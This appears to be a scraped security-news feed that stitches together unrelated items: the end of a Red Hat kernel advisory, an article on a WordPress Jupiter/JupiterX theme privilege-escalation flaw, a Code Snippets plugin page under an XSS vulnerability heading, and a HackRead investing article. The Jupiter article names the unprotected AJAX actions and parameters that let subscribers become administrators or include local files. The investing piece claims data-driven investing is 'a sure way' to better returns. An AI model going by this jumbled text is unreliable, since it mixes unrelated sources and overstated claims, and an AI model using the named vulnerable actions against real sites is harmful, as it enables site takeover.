kernel-debug-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debug-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debug-devel-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debuginfo-common-x86_64-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-devel-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-headers-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-libs-3.10.0-1160.66.1.el7.x86_64.rpm  
perf-3.10.0-1160.66.1.el7.x86_64.rpm  
perf-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
python-perf-3.10.0-1160.66.1.el7.x86_64.rpm  
python-perf-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm

Red Hat Enterprise Linux Server Optional (v. 7):

ppc64:  
bpftool-debuginfo-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-debug-debuginfo-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-debuginfo-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-debuginfo-common-ppc64-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-tools-debuginfo-3.10.0-1160.66.1.el7.ppc64.rpm  
kernel-tools-libs-devel-3.10.0-1160.66.1.el7.ppc64.rpm  
perf-debuginfo-3.10.0-1160.66.1.el7.ppc64.rpm  
python-perf-debuginfo-3.10.0-1160.66.1.el7.ppc64.rpm

ppc64le:  
bpftool-debuginfo-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-debug-debuginfo-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-debug-devel-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-debuginfo-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-debuginfo-common-ppc64le-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-tools-debuginfo-3.10.0-1160.66.1.el7.ppc64le.rpm  
kernel-tools-libs-devel-3.10.0-1160.66.1.el7.ppc64le.rpm  
perf-debuginfo-3.10.0-1160.66.1.el7.ppc64le.rpm  
python-perf-debuginfo-3.10.0-1160.66.1.el7.ppc64le.rpm

x86_64:  
bpftool-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debug-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debuginfo-common-x86_64-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-libs-devel-3.10.0-1160.66.1.el7.x86_64.rpm  
perf-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
python-perf-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm

Red Hat Enterprise Linux Workstation (v. 7):

Source:  
kernel-3.10.0-1160.66.1.el7.src.rpm

noarch:  
kernel-abi-whitelists-3.10.0-1160.66.1.el7.noarch.rpm  
kernel-doc-3.10.0-1160.66.1.el7.noarch.rpm

x86_64:  
bpftool-3.10.0-1160.66.1.el7.x86_64.rpm  
bpftool-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debug-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debug-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debug-devel-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debuginfo-common-x86_64-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-devel-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-headers-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-libs-3.10.0-1160.66.1.el7.x86_64.rpm  
perf-3.10.0-1160.66.1.el7.x86_64.rpm  
perf-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
python-perf-3.10.0-1160.66.1.el7.x86_64.rpm  
python-perf-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm

Red Hat Enterprise Linux Workstation Optional (v. 7):

x86_64:  
bpftool-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debug-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-debuginfo-common-x86_64-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
kernel-tools-libs-devel-3.10.0-1160.66.1.el7.x86_64.rpm  
perf-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm  
python-perf-debuginfo-3.10.0-1160.66.1.el7.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-0492  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2022 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBYoWMn9zjgjWX9erEAQhMiA/7B08ElIS7Yi4PPTGdMHo3gS5DMPiFqGzv  
1tvJ/qUTQg07zXM/duwmnH0Y7v33hl55JiMwSETvZcOF/lXIqRtf6PYJm2wqRSOj  
GZE9yjJs963FZb0ykfPiz8gVxkHUAp+3lilgtcQJpDs/NHQ7YhNwLCTGA4kwfUWt  
XVLQ+1hTXK+J5JaSI7ZOCf8sMURFJewfyTz3KQlIb1A2m7TDVyo2yYKrClOiAanv  
hP66yIhHJPygE5ihoR4HVTosLaVZ2EjDhvHOzngAcyXvgCprQQ3eiO7tPKDl0LjV  
XOhK0V7wjtDJV69Nrgkhgb4PGLMs6bO6Nc9xXuvsEWZUXNSPAR2zDCyqjNBF9Rsh  
nTleOKOFUR9oc1EJ3zumN9bdmO7g3sjgkN9hTAouFxBUEqTdzsP77Yg+OIRrLq0N  
iSn0EfVSm0RmP3Jh5IlbRyH42WdfQT5vvnpYSZemQ9EvMfCYoG4pvaC/DTzFJrkS  
SRVoBZy0hqqcat8zCETcoETqrVFtaOhxXOpL3YH+Y1Xg3Y2ESyBg9aEFosiOK0lh  
JIoPJLAwUAx0pw1JMUBjygnWtyItMDqezqIpvb0A/7SWkvc6Ha1+dx5/sJFfsaDm  
CefHzb+7pxe/XoziTXXvsRD1/eoeUwdiJbf9qbq/Oc8qor1yTyxZbGSXEY0DNX6J  
ych3Hb212/A=2HeK  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2022-4642-01

Privilege escalation flaw discovered in the Jupiter and JupiterX Core Plugin affects more than 90,000 sites.

Privilege escalation flaw discovered in the Jupiter and JupiterX Core Plugin affects more than 90,000 sites.

A critical privilege escalation flaw found in two themes used by more than 90,000 WordPress sites can allow threat actors to take over the sites completely, researchers have found.

WordFence Threat Intelligence Team researcher Ramuel Gall discovered the flaw, one of five vulnerabilities he found between early April and early May in the Jupiter and JupiterX Premium WordPress themes, he revealed in a blog post published Wednesday.

One of the flaws—tracked as CVE-2022-1654 and rated as 9.9, or critical on the CVSS–allows for “any authenticated attacker, including a subscriber or customer-level attacker, to gain administrative privileges and completely take over any site running either the Jupiter Theme or JupiterX Core Plugin,” he wrote. The plugin is required to run the JupiterX theme.  

Affected versions of the themes are: Jupiter Theme 6.10.1 or earlier, and JupiterX Core Plugin 2.0.7 or earlier.

WordFence finished their investigation of most of flaws on April 5 and reported them to the Jupiter and JupiterX theme developer ArtBees on the same day; on May 3 they notified the developer of an additional Jupiter theme flaw. By May 10, the developed had released updated versions of both the Jupiter and JupiterX themes that had patched all the flaws.

****Critical Vulnerability****

The critical flaw found resides in a function, uninstallTemplate, which is intended to reset a site after a template is uninstalled. However, it “has the additional effect of elevating the user calling the function to an administrator role,” Gall wrote. In the Jupiter theme, the function is found in the theme itself; in JupiterX, it’s present in the JupiterX Core plugin.

“Vulnerable versions register AJAX actions but do not perform any capability checks or nonce checks,” he wrote.

On a site with a vulnerable version of the Jupiter Theme installed, any logged-in user can elevate their privileges to those of an administrator by sending an AJAX request with the action parameter set to abb\_uninstall\_template. This calls the uninstallTemplate function, which calls the resetWordpressDatabase function, which effectively reinstalls the site with the currently logged-in user as the new site owner, Gall explained.

On a site where a vulnerable version of the JupiterX Core plugin is installed, someone can access the same functionality by sending an AJAX request with the action parameter set to jupiterx\_core\_cp\_uninstall\_template, he said.

****Other Vulnerabilities****

WordPress plugins, often developed by third-party developers, are notoriously buggy. Previous flaws found in plugins for the popular website-creation and -hosting platform also have allowed for site takeover, as well as enabled WordPress subscribers to totally wipe sites not belonging to them, or attackers to forge emails to subscribers.

Of the other flaws that Gall discovered, three—tracked as CVE-2022-1656, CVE-2022-1658 and CVE-2022-1659–are rated as medium risk and one, CVE-2022-1657 is rated as high risk.

The high-risk flaw, which affects JupiterX Theme 2.0.6 or earlier and Jupiter Theme 6.10.1 or earlier, can allow an attacker to obtain privileged information, such as nonce values, or perform restricted actions, Gall explained. This can be done by including and executing files from any location on the site.

“Vulnerable versions of the Jupiter and JupiterX Themes allow logged-in users, including subscriber-level users, to perform Path Traversal and Local File inclusion,” Gall explained.

In the JupiterX theme, this can be done by using the jupiterx\_cp\_load\_pane\_action AJAX action present in the lib/admin/control-panel/control-panel.php file to call the load\_control\_panel\_pane function. “It is possible to use this action to include any local PHP file via the slug parameter,” Gall wrote.

The Jupiter theme has a nearly identical vulnerability, which an attacker can exploit via the mka\_cp\_load\_pane\_action AJAX action present in the framework/admin/control-panel/logic/functions.php file, which calls the mka\_cp\_load\_pane\_action function, he said.

Wordfence researchers recommend that anyone using the affected themes updated to the patched versions immediately. The company released a firewall rule to protect Wordfence Premium, Wordfence Care and Wordfence Response customers on April 5, and free Wordfence users on May 4.

Critical Vulnerability in Premium WordPress Themes Allows for Site Takeover

Reflected Cross-Site Scripting (XSS) vulnerability in Code Snippets plugin <= 2.14.3 at WordPress via &orderby vulnerable parameter.

*   Details
*   Reviews
*   Installation
*   Support
*   Development

Code Snippets is an easy, clean and simple way to run code snippets on your site. It removes the need to add custom snippets to your theme’s functions.php file.

A snippet is a small chunk of PHP code that you can use to extend the functionality of a WordPress-powered website; essentially a mini-plugin with less load on your site.  
Most snippet-hosting sites tell you to add snippet code to your active theme’s functions.php file, which can get rather long and messy after a while.  
Code Snippets changes that by providing a GUI interface for adding snippets and **actually running them on your site** just as if they were in your theme’s functions.php file.

Code Snippets provides graphical interface, similar to the Plugins menu, for managing snippets. Snippets can be activated and deactivated, just like plugins. The snippet editor includes fields for a name, a visual editor-enabled description, tags to allow you to categorize snippets, and a full-featured code editor. Snippets can be exported for transfer to another site, either in JSON for later importing by the Code Snippets plugin, or in PHP for creating your own plugin or theme.

If you have any feedback, issues, or suggestions for improvements please leave a topic in the Support Forum, or join the community on Facebook.

If you like this plugin, or it is useful to you in some way, please consider reviewing it on WordPress.org.

If you’d like to contribute to the plugin’s code or translate it into another language, you can fork the plugin on GitHub.

**Translations**

Code Snippets can be used in these different languages thanks to the following translators:

*   Belarusian – Hrank.com
*   Brazilian Portuguese – Bruno Borges
*   Chinese – Jincheng Shan and 诗语
*   Chinese (Taiwan) – Alex Lion and Chun-Chih Cheng
*   Croatian – Borisa Djuraskovic from Web Hosting Hub
*   Czech – Lukáš Tesař and Jakub Humpolec
*   Danish – Finn Sommer Jensen
*   Dutch – Sander Spies, Peter Smits and mother.of.code.a11n
*   English (New Zealand) and English (UK) – webaware
*   English (South Africa) – webaware and Ian Barnes
*   French – momo-fr, Didier Demory, Cyrille Sanson and Shea Bunge
*   French (Canada) – Dominic Desbiens
*   German – Mario Siegmann, Joerg Knoerchen, David Decker and Andreas
*   Greek – Konstantinos Megas and Toni Bishop from Jrop
*   Indonesian – Jordan Silaen from ChameleonJohn.com
*   Italian – Usman Wagan, Luisa Ravelli and ElectricFeet
*   Japanese – mt8, Takakazu Nagaya, Naoko Takano and melvas
*   Persian – Mohammad Novintanon
*   Russian – Alexander Samsonov, Yui, Denis Yanchevskiy and krioteh
*   Slovak – Ján Fajčák
*   Spanish (Colombia) and Spanish (Ecuador) – Javier Esteban
*   Spanish (Spain) – Ibidem Group, Javier Esteban, Fernando Tellado and Juanma Aranda
*   Spanish (Venezuela) – Yordan Soares
*   Swedish – Argentum, Fredrik and Tor-Bjorn Fjellner
*   Urdu – Samuel Badree
*   Vietnamese – Tuan Phan

**Automatic installation**

1.  Log into your WordPress admin
2.  Click **Plugins**
3.  Click **Add New**
4.  Search for **Code Snippets**
5.  Click **Install Now** under “Code Snippets”
6.  Activate the plugin

**Manual installation**

1.  Download the plugin
2.  Extract the contents of the zip file
3.  Upload the contents of the zip file to the wp-content/plugins/ folder of your WordPress installation
4.  Activate the Code Snippets plugin from ‘Plugins’ page.

Network Activating Code Snippets through the Network Dashboard will enable a special interface for running snippets across the entire network.

A full list of our Frequently Asked Questions can be found at help.codesnippets.pro.

**How can I recover my site if it is crashed by a buggy snippet?**

You can recover your site by enabling the Code Snippets safe mode feature. Instructions for how to turn it on are available here: https://help.codesnippets.pro/article/12-safe-mode.

**Will I lose my snippets if I change the theme or upgrade WordPress?**

No, the snippets are stored in the WordPress database, independent of the theme and unaffected by WordPress upgrades.

**Can the plugin be completely uninstalled?**

If you enable the ‘Complete Uninstall’ option on the plugin settings page, Code Snippets will clean up all of its data when deleted through the WordPress ‘Plugins’ menu. This includes all stored snippets. If you would like to preserve the snippets, ensure they are exported first.

**Can I copy snippets that I have created to another WordPress site?**

Yes! You can individually export a single snippet using the link below the snippet name on the ‘Manage Snippets’ page or bulk export multiple snippets using the ‘Bulk Actions’ feature. Snippets can later be imported using the ‘Import Snippets’ page by uploading the export file.

**Can I export my snippets to PHP for a site where I’m not using the Code Snippets plugin?**

Yes. Click the checkboxes next to the snippets you want to export, and then choose **Export to PHP** from the Bulk Actions menu and click Apply. The generated PHP file will contain the exported snippets’ code, as well as their name and description in comments.

**Can I run network-wide snippets on a multisite installation?**

You can run snippets across an entire multisite network by **Network Activating** Code Snippets through the Network Dashboard. You can also activate Code Snippets just on the main site, and then individually on other sites of your choice.

**Where are the snippets stored in my WordPress database?**

Snippets are stored in the wp_snippets table in the WordPress database. The table name may differ depending on what your table prefix is set to.

**Where can I go for help or suggest new features?**

You can get help with Code Snippets, report bugs or errors, and suggest new features and improvements either on the WordPress Support Forums or on GitHub

**How can I help contribute to the development of the Code Snippets plugin?**

The best way to do this is to fork the repository on GitHub and send a pull request.

Works perfectly, and safely

Un plugin sencillo, efectivo y limpio. Gracias.

Hi, Firstly it works very well as it is expected. The only thing I did’nt find is how register a new label. As I write a new label it is not registered Thanks a lot for the job

I've been using this plugin for years and I really like its features. Yes, you can disable your site very easily by injecting PHP code, but that is not the fault of the plugin; with great power comes great responsibility.

Read all 366 reviews

“Code Snippets” is open source software. The following people have contributed to this plugin.

Contributors

**3.1.0 (17 May 2022)**

*   Fixed: Caching inconsistencies preventing snippets and settings from refreshing on sites with persistent object caching.
*   Improved: Simplified database queries.
*   Added: More comprehensive cache coverage, including for active snippets.
*   Added: Icon to ‘Go Pro’ button indicating it opens an external tab.
*   Improved: Allow display styles in snippet descriptions.

**3.0.1 (14 May 2022)**

*   Fixed: Incompatibility issue with earlier versions of PHP.

**3.0.0 (14 May 2022)**

**Added**

*   Added: HTML content snippets for displaying as shortcodes or including in the page head or footer area.
*   Added: Notice reminding users to upgrade unsupported PHP versions.
*   Added: Visual settings to add attributes to shortcodes.
*   Added: Shortcode buttons to the post and page content editors.
*   Added: Basic REST API endpoints.
*   Added: Snippet type column to the snippets table.
*   Added: Snippet type badges to Edit and Add New Snippet pages.
*   Added: Setting to control whether the current line of the code editor is highlighted.
*   Added: Display a warning when saving a snippet with missing title or code.
*   Added: Add suffix to title of cloned snippets.

**Changed**

*   Improved: Updated plugin code to use namespaces, preventing name collisions with other plugins.
*   Improved: Added key for the ‘active’ and ‘scope’ database table columns to speed up queries.
*   Improved: Redirect from edit menu if not editing a valid snippet.
*   Improved: Moved activation switch into its own table column.
*   Improved: Updated code documentation according to WordPress standards.
*   Improved: Added snippet type labels to the tabs on the Snippets page.
*   Improved: Split settings page into tabs.
*   Improved: Use the version of CodeMirror included with WordPress where possible to inherit the additional built-in features.
*   Improved: Added hover effect to priority settings in the snippets table to show that they are editable.
*   Fixed: Snippets table layout on smaller screens.

**Deprecated**

*   Removed: Deprecated functions and compatibility code for unsupported PHP versions.
*   Removed: Option to disable snippet scopes.

**New in Pro**

*   Added: CSS style snippets for the site front-end and admin area.
*   Added: JavaScript snippets for the site head and body area on the front-end.
*   Added: Browser cache versioning for CSS and JavaScript snippets.
*   Added: Support for exporting and downloading CSS and JavaScript snippets.
*   Added: Support for highlighting code on the front-end.
*   Added: Editor syntax highlighting for CSS, JavaScript and HTML snippets.
*   Added: Button to preview full file when editing CSS or JavaScript snippets.
*   Added: Option to minify CSS and JavaScript snippets.
*   Added: Gutenberg editor block for displaying content snippets.
*   Added: Gutenberg editor block for displaying snippet source code.
*   Added: Elementor widget for displaying content snippets.
*   Added: Elementor widget for displaying snippet source code.

**2.14.6 (13 May 2022)**

*   Fixed: Issue with processing uploaded import files.
*   Fixed: Issue with processing tag filters.

**2.14.5 (10 May 2022)**

*   Fixed: Incompatibility issue with older versions of PHP.

**2.14.4 (5 May 2022)**

*   Fixed: Prevent array key errors when loading the snippet table with unknown order values.

**2.14.3 (10 Dec 2021)**

*   Fixed: Potential security issue outputting snippets-safe-mode query variable value as-is. Thanks to Krzysztof Zając for reporting.

**2.14.2 (9 Sep 2021)**

*   Fixed: Prevent network snippets table from being created on single-site installs.
*   Added translations:
    *   Spanish by Ibidem Group
    *   Urdu by Samuel Badree
    *   Greek by Toni Bishop from Jrop
*   Added: Support for :class syntax to the code validator.
*   Added: PHP8 support to the code linter.
*   Added: Color picker feature to the code editor.
*   Added: Failsafe to prevent multiple versions of Code Snippets from running simultaneously.

**2.14.1 (10 Mar 2021)**

*   Added: Czech translation by Lukáš Tesař.
*   Fixed: Code validator now supports function_exists and class_exists checks.
*   Fixed: Code validator now supports anonymous functions.
*   Fixed: Issue with saving the hidden columns setting.
*   Fixed: Replaced the outdated tag-it library with tagger for powering the snippet tags editor.
*   Added: Code direction setting for RTL users.
*   Updated CodeMirror to version 5.59.4.
*   Added: Additional action hooks and search API thanks to @Spreeuw.

**2.14.0 (26 Jan 2020)**

*   Updated CodeMirror to version 5.50.2.
*   Added: Basic error checking for duplicate functions and classes.
*   Updated Italian translations to fix display issues – thanks to Francesco Marino.
*   Fixed: Ordering snippets in the table by name will now be case-insensitive.
*   Added: Additional API options for retrieving snippets.
*   Fixed: Code editor will now properly highlight embedded HTML, CSS and JavaScript code.
*   Changed the indicator color for inactive snippets from red to grey.
*   Fixed a bug preventing the editor theme from being set to default.
*   Added: Store the time and date when each snippet was last modified.
*   Added: Basic error checking when activating snippets.
*   Fixed: Ensure that imported snippets are always inactive.
*   Fixed: Check the referer on the import menu to prevent CSRF attacks. Thanks to Chloe with the Wordfence Threat Intelligence team for reporting.
*   Fixed: Ensure that individual snippet action links use proper verification.

**2.13.3 (13 Mar 2019)**

*   Added: Hover effect to activation switches.
*   Added: Additional save buttons above snippet editor.
*   Added: List save keyboard shortcuts to the help tooltip.
*   Added: Change “no items found” message when search filters match nothing.
*   Fixed: Calling deprecated code in database upgrade process.
*   Fixed: Include snippet priority in export files.
*   Fixed: Use Unix newlines in code export file.
*   Updated CodeMirror to version 5.44.0.
*   Fixed: Correctly register snippet tables with WordPress to prevent database repair errors \[#\]
*   Fixed: CodeMirror indentation settings being applied incorrectly

**2.13.2 (25 Jan 2019)**

*   Removed potentially problematic cursor position saving feature

**2.13.1 (22 Jan 2019)**

*   Added: Add menu buttons to settings page for compact menu
*   Updated: French translation updated thanks to momo-fr
*   Fixed: Split code editor and tag editor scripts into their own files to prevent dependency errors
*   Fixed: Handling of single-use shared network snippets
*   Fixed: Minor translation template issues
*   Added: Help tooltop to snippet editor for keyboard shortcuts, thanks to Michael DeWitt
*   Improved: Added button for executing single-use snippets to snippets table
*   Added: Sample snippet for ordering snippets table by name by default
*   Updated CodeMirror to version 5.43.0

**2.13.0 (17 Dec 2018)**

*   Added: Search/replace functionality to the snippet editor. See here for a list of keyboard shortcuts. \[#\]
*   Updated CodeMirror to version 5.42.0
*   Added: Option to make admin menu more compact
*   Fixed: Problem clearing recently active snippet list
*   Improved: Integration between plugin and the CodeMirror library, to prevent collisions
*   Improved: Added additional styles to editor settings preview
*   Added: PHP linter to code editor
*   Improved: Use external scripts instead of inline scripts
*   Fixed: Missing functionality for ‘Auto Close Brackets’ and ‘Highlight Selection Matches’ settings

**2.12.1 (15 Nov 2018)**

*   Improved: CodeMirror updated to version 5.41.0
*   Improved: Attempt to create database columns that might be missing after a table upgrade
*   Improved: Streamlined upgrade process
*   Fixed: Interface layout on sites using right-to-left languages
*   Improved: Made search box appear at top of page on mobile \[#\]
*   Updated screenshots

**2.12.0 (23 Sep 2018)**

*   Fixed: Prevented hidden columns setting from reverting to default
*   Improved: Updated import page to improve usability
*   Improved: Added Import button next to page title on manage page
*   Improved: Added coloured banner indicating whether a snippet is active when editing
*   Update CodeMirror to 5.40.0

**2.11.0 (24 Jul 2018)**

*   Added: Ability to assign a priority to snippets, to determine the order in which they are executed
*   Improvement: The editor cursor position will be preserved when saving a snippet
*   Added: Pressing Ctrl/Cmd + S while writing a snippet will save it
*   Added: Shadow opening PHP tag above the code editor
*   Improved: Updated the message shown when there are no snippets
*   Added: Install sample snippets when the plugin is installed
*   Improved: Show all available tags when selecting the tag field
*   Added: Filter hook for controlling the default list table view
*   Added: Action for cloning snippets

**The full changelog is available on GitHub**

CVE-2022-25617: Code Snippets

By Owais Sultan
From location quotient geography formula to AI (Artificial Intelligence) investing, leveraging technology to generate higher returns is one…
This is a post from HackRead.com Read the original post: Top Data-Driven Methods for Improving Your Investment Decisions

From location quotient geography formula to AI (Artificial Intelligence) investing, leveraging technology to generate higher returns is one of the best ways to ensure your investment efforts result in success.

Driving top investment returns by leveraging the latest tech tools isn’t exactly a new way to earn from investing. Hedge funds were the initiators of data-driven investing that heavily relied on technology to make better and more lucrative investment decisions.

This investment model quickly became popular among both private and institutional investors. Although there’s a big difference between data-driven and model-driven investing methods, the former helps an investor by offering access to the power of data to recognize patterns that traditional investment models simply couldn’t provide.

The best way to describe data-driven investing is to say that it combines alternative data and traditional information to provide an investor with the latest, most up-to-date investment insights.

Data helps avoid risks, identify top investment opportunities by location, and make better investment decisions. Let’s talk about how data-driven methods can help to improve your investment decision-making.

**AI investing**

AI investing or big data investing is a new way to make smarter, more lucrative investment decisions. It’s a strategy that relies on the latest technology and data science to help investors make better decisions based on the alpha metric.

The term alpha refers to two essential driving factors:

*   Completing a successful investment cycle.
*   Gathering various metrics to measure the active ROI (return on investment);

AI relies on gathering vast quantities of data from the web to help investors enhance alpha. In addition, corporate investors rely on AI to track various metrics, such as security management and risks, business operations, social sentiment, etc.

**Unconventional data**

In the past, investors used to rely on traditional investment strategies that involved using publicly available data, such as market data (returns, volumes, prices, etc.), financial statements, public investment records, etc.

However, data-driven investing relies on incorporating unconventional data, such as the right location quotient, social media, satellite images, and internet web traffic, to help private and institutional investors make better investment decisions.

They gather this information for analysis to get a more detailed picture of the current market situation, trending events, and best opportunities across different regions and industries.

Unconventional data gives an investor a competitive advantage by providing current and up-to-date information on the best investment opportunities at the moment. That’s why this data-driven investment technique is currently so popular among investors.

**Using new data**

While modern computing devices come with great abilities regarding data analysis, they require quantifiable or structured data to perform their magic. Data-driven investing, on the other hand, relies on raw, unstructured data, such as images, speech recognition, language, etc., to provide investors with valuable business valuations.

Thanks to new data, private and corporate investors can perform massive analyses of entire regions and identify top events and trends in the market to adjust their investment strategies accordingly. Investors can easily incorporate the insights from the analyses into value creation and business valuation abilities.

Sentiment analysis is probably one of the most important trends in the data-driven investing industry. This method refers to performing detailed research and analysis on consumer reactions to a particular brand, market, and industry.

Modern customers are used to posting their thoughts and opinions on brands on social media networks. Their posts are an abundant source of top-grade data that can provide investors with all the insights they need to decide whether investing in a brand or industry promises high returns.

However, it won’t be enough to amass simple mentions and comments online. The data-driven method implies that an investor must tap into customers’ opinions and general emotions toward a particular brand.

Let’s say that you want to invest in the car industry in Norway.

You can feel the pulse of the local market by checking what people are saying on social media to get a better perspective of the things to expect. Conducting such analysis allows you to create not one but several strategies.

For instance, if customers have complaints about a particular industry and their opinions on the matter are mostly negative, that’s a clear sign that you shouldn’t invest in that industry.

**Data gives investors a competitive advantage**

One of the most significant benefits of data-driven investing is eliminating human error, irrationality, and bias. Having top information on the best investment factors makes it easier to ensure higher returns as data opens countless possibilities.

Data-based decisions allow investors to improve the selection process and select the best investment opportunities. More importantly, it solves the leading causes of risks and mispricing across emerging markets, such as lack of transparency, volatility, and uncertainty.

**Conclusion**

Data-driven investing provides investors with invaluable insights regarding top investment opportunities for investing in emerging markets. Through analyzing centralized and alternative data, investors can also eliminate the need to spend their budgets on hiring various investment specialists, such as business environment analysts.

Instead, they can rely on the latest advanced technology to gather and analyze data from various data sources to discover the latest investing trends in both traditional and new markets. In other words, data-driven investing is a sure way to improve your investment decision-making process.

**_Did you enjoy reading this article? Like our page on Facebook and follow us on Twitter._**

Tag

#intel